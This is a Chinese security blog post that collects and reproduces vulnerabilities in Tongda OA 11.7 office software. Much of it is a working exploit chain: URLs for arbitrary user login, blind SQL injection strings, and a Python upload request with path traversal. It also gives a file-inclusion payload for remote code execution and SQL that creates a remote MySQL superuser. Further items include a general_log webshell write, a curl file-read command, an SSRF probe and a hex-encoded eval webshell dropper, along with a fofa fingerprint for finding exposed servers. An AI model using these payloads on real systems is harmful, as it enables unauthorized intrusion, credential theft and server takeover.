通达oa11.7 漏洞整理及复现

阅读量567073

|

发布时间 : 2021-03-22 10:30:04

 

环境安装

下载链接:

https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe

windows server 2008直接安装有bug

windows server 2012直接双击安装就完事了

2012装vmwaretools 不好使 最后还是用python -m http.server搭服务器下载的

修复vmwaretools:

https://blog.csdn.net/fly_hps/article/details/104300665

装好oa之后,在主机访问不到虚拟机里的oa服务,原因是iis默认的防火墙给拦截了,关闭防火墙或者增加一个入站规则

https://blog.csdn.net/weixin_33690963/article/details/93118409

默认密码为空

 

快速查看版本

http://192.168.0.116/inc/expired.php

 

难点

1,过滤危险函数

disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg

在windows下可以使用com组件绕过

但是com拓展在5.4默认加载,其他php版本没有加载

通达11.7没有加载

<?php
    $command=$_GET['a'];
    $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
    $exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
?>

目前没有好的绕过方法

2,包含了常见的一句话木马,但是echo可以,var_dump(scandir(‘.’));都不行

只要传的参数有引号就不行,查看日志:

[11-Mar-2021 09:35:42 Etc/GMT-8] PHP Parse error:  syntax error, unexpected '"', expecting identifier (T_STRING) in C:\oa\webroot\general\reportshop\workshop\report\attachment-remark\}_1.txt(1) : eval()'d code on line 1
[11-Mar-2021 09:35:48 Etc/GMT-8] PHP Parse error:  syntax error, unexpected ''21\');' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) in C:\oa\webroot\general\reportshop\workshop\report\attachment-remark\}_1.txt(1) : eval()'d code on line 1

但是不通过文件包含,直接给shell.php传参又可以正常执行

可以通过包含文件直接写马,写的马由于disable_function限制,能连蚁剑,多的命令执行不了

3,通达的数据库都是加密的

少部分可以解出来

4,内置的nginx配置直解析php

location ~ \.php$ {
    fastcgi_pass   OfficeFPM;
    fastcgi_index  index.php;
    include        fastcgi.conf;

    add_header X-Frame-Options SAMEORIGIN;
}

 

payload

fofa : “/static/templates/2019_01/logo.png”

1,任意用户登录(要求用户在线)

通达OA V11.7版本存在这任意用户登录漏洞
访问:http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
页面若是空白的即说明该uid用户在线,可以利用,此时访问:http://127.0.0.1/general/即可登录后台
若页面返回RELOGIN  则管理员不在线

https://www.t00ls.net/viewthread.php?tid=59880&highlight=%E9%80%9A%E8%BE%BE

2,后台布尔盲注

http://192.168.0.116/general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99))

https://www.cnblogs.com/yuzly/p/13690737.html

3,后台时间盲注

http://192.168.0.116/general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=(SELECT count(*) FROM information_schema.columns A, information_schema.columns B where 1=1 and (LENGTH(database())=5))

https://www.t00ls.net/viewthread.php?tid=58383&highlight=%E9%80%9A%E8%BE%BE

4,将非php文件传到任意位置(需要登录)

会检测referer

import requests

burp0_url = "http://192.168.0.116:80/general/reportshop/utils/upload.php"
burp0_cookies = {"USER_NAME_COOKIE": "admin", "OA_USER_ID": "admin", "creat_work": "new", "PHPSESSID": "29n49sf6pck3jaslqf69fppaa1", "SID_1": "2b8073b6"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1:888", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryWqqWIbfwlL4YwO4Q", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.0.116/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh,zh-CN;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"newid\"\r\n\r\n1\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"filetype\"\r\n\r\n\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"FILE1\"; filename=\"1.txt\"\r\nContent-Type: text/plain\r\n\r\n123213\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
c:/oa/webroot/attachment/reportshop/attachment/{../../../../../}_1.txt  => oa/webroot/}_1.txt
c:/oa/webroot/attachment/reportshop/attachment/{../../../../../general/}_1.txt  => oa/webroot

    ../../../../../../../../../../../../../oa/webroot/ => 禁止创建
    ../../../../../../../../../../../../../oa/webroot/general/ => 禁止创建
    ../../../../../../../../../../../../../oa/attach/  => ok
    ../../../../../../../../../../../../../oa/         => ok
    ../../../../../../../../../../../../../oa/123/     => false

    需要绕过这个限制:
    if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {#当有webroot 没有attachment时,false
        return false;
    }
    else {
        return true;
    }

所以设置newid为:
../../../../../../../../../../../../../oa/webroot/general/reportshop/workshop/report/attachment-remark/ => ok

5,任意文件包含(需要登录)

http://192.168.0.116/ispirit/interface/gateway.php?json={"url":"/general/reportshop/workshop/report/attachment-remark/}_1.txt"}

与前一个上传结合,可以实现rce

6,通过前面盲注添加mysql用户,rce(需要登录)

通达oa默认是高权限sql用户

1,默认是不能远程连接的,添加用户远程连接 at666  abcABC@123
http://192.168.0.116/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

2,连接上数据库,此时权限只能访问到mysql,添加权限,在数据库软件中执行
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

3,之后刷新权限,在盲注点执行,不然权限不够
general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

4,再连接可能会报错you must set password before executing this statement
再多执行几遍:
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION 

5,连接数据库,
select @@basedir;
set global general_log = on;
set global general_log_file = 'C:/td0a117/webroot/tony2.php';
select '<?php eval($_POST[x]);?>';
show variables like '%general%';

7,敏感信息泄露(需要登录)

http://192.168.0.116//general/approve_center/archive/getTableStruc.php

绝对路径等

8,任意文件读取(需要登录)

curl "http://192.168.0.116/ispirit/im/photo.php?AVATAR_FILE=c:/oa/bin/redis.windows.conf&UID=1" > 1.txt --cookie "PHPSESSID=neulied1e0s35tp9u1vcdbeea5; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c05b8089"

9,ssrf(需要登录)

http://192.168.0.116/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=wqx0mc.dnslog.cn

 

复现

首先安装好之后,目录如下

2021/03/08  16:06    <DIR>          .
2021/03/08  16:06    <DIR>          ..
2021/03/08  15:40    <DIR>          attach
2021/03/08  15:40    <DIR>          bin
2021/03/08  15:40    <DIR>          data5
2021/03/08  15:40    <DIR>          logs
2021/03/08  15:40    <DIR>          MyAdmin
2021/03/08  15:40    <DIR>          mysql5
2021/03/08  15:40    <DIR>          nginx
2016/09/08  17:32             3,606 readme.txt
2021/03/08  15:40    <DIR>          tmp
2021/03/08  15:42    <DIR>          webroot
2021/03/08  15:42    <DIR>          帮助文档

attach是oa专门用来存放上传附件的目录

网站源码在webroot,使用zend进行了加密

通达oa使用的都是自带的离线版的nginx和mysql,redis等,所以直接一键安装,别的都不用管

这样就导致没有好的办法动态调试。

直接自己把解密的php在用Zend Guard7加密替换原php文件,尝试这样debug

会报500

可能是加密的方式不对,暂时没好的办法

使用SeayDzend进行解密

在/inc/conn.php有sql注入过滤函数

1,任意用户登录

漏洞位置:mobile/auth_mobi.php

if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
    $sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
    $cursor = exequery(TD::conn(), $sql);

    if ($row = mysql_fetch_array($cursor)) {
        $P = $row["SID"];
    }
}

直接将传入的uid从数据库中查询,然后赋给当前用户了

2,后台布尔盲注

漏洞位置:general/hr/manage/query/delete_cascade.php

if ($condition_cascade != "") {
    $query = str_replace("\'", "'", $condition_cascade);
    $cursor = exequery(TD::conn(), $query);

    while ($ROW = mysql_fetch_array($cursor)) {
        $USER_ID = $ROW["USER_ID"];

有过滤,通过power(9999,99)构造报错注入

3,后台时间盲注

漏洞位置:general/email/inbox/get_index_data.php #109

$email_array = get_email_data($orderby, $asc, $boxid, $email_fliter, $pagelimit, $timestamp, $curnum, $is_webmailbox, $is_main, $boxname, $list_view);
echo retJson($email_array);
echo "\r\n";

orderby会拼接到sql语句中,使用笛卡尔积进行时间盲注

orderby=(SELECT count(*) FROM information_schema.columns A, information_schema.columns B where 1=1 and (LENGTH(database())=5))

4,将非php文件传到任意位置

漏洞位置:general/reportshop/utils/upload.php #170

        else if (!empty($_FILES)) {
            $s_n = $_FILES[$fileid]["name"];
            if (!check_filename($s_n) || !check_filetype($s_n)) {
                if (isset($json)) {
                    echo "{";
                    echo "new_name:'',\n";
                    echo "error: 'true',\n";
                    echo "msg: '文件不符合要求'\n";
                    echo "}";
                }
                else {
                    echo "文件不符合要求!";
                }

                exit();
            }

            if (($s_n[0] != "{") && isset($newid)) {
                $s_n = "{" . $newid . "}_" . $s_n;
            }

            if (td_move_uploaded_file($_FILES[$fileid]["tmp_name"], $uploaddir . $s_n)) {
            }
            else {
                $b_res = "false";
            }
        }
    }

    if (isset($_FILES[$fileid])) {
        td_unlink($_FILES[$fileid]["tmp_name"]);
    }
}

将newid不经过滤直接拼接到了上传路径中,所以我们可以通过newid参数控制上传的位置

上传文件的后缀限制了不能传输php,尝试了其他php5,php.,php::$DATA都不行,类似的限制比较多

可以先不管,后续通过文件包含来解决

构造一个上传页面:

<html>
<body>
<form action="http://192.168.0.116/general/reportshop/utils/upload.php" method="post"  enctype="multipart/form-data">
<input  type="text"name='action' value = 'upload'  ></input>
<!-- <input  type="text"name='rid' value = '{123456789123456789123456789123456789}'></input> -->
<input  type="text"name='newid' value = '../../../../../'  ></input>
<input  type="text"name='filetype' value = ''  ></input>
<input type="file" name="FILE1"></input>
<input type="submit" ></input>
</body>
</html>

抓包之后需要把referer修改掉,再添加上登录后的cookie即可上传成功

5,文件包含

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);

    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;

            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }

        if ($key == "url") {
            $url = $val;
        }
    }

    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }

        if (strpos($url, "..") !== false) {
            echo _("ERROR URL");
            exit();
        }

        if ((strpos($url, "general/") === 0) || (strpos($url, "ispirit/") === 0) || (strpos($url, "module/") === 0)) {
            include_once $url;
        }
    }

    exit();
}

这里限制了url的开始必须为general or ispirit or module

所以在前面设置newid为../../../../../../../../../../../../../oa/webroot/general/reportshop/workshop/report/attachment-remark/

即可把txt文件上传到general目录下,然后payload包含即可rce

http://192.168.0.116/ispirit/interface/gateway.php?json={"url":"/general/reportshop/workshop/report/attachment-remark/}_1.txt"}

前面疑问的方法暂时不知道为什么,可以直接包含txt然后写马

1.txt:

<?php
$code = hex2bin('3C3F706870206576616C28245F504F53545B2761275D293B3F3E');
file_put_contents("shell.php",$code);
?>

shell.php位于C:\oa\webroot\ispirit\interface\shell.php

 

参考资料

https://www.anquanke.com/post/id/210395

https://paper.seebug.org/1499/

https://p2hm1n.com/2021/03/06/%E9%80%9A%E8%BE%BE-OA-11-7-%E7%BB%84%E5%90%88%E6%8B%B3-RCE-%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/

https://paper.seebug.org/1499/

https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098083&idx=1&sn=2585849a9fb521d690763357ac050894&scene=21#wechat_redirect

本文由jayus原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/234533

安全KER - 有思想的安全新媒体

分享到:微信
+16赞
收藏
jayus
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66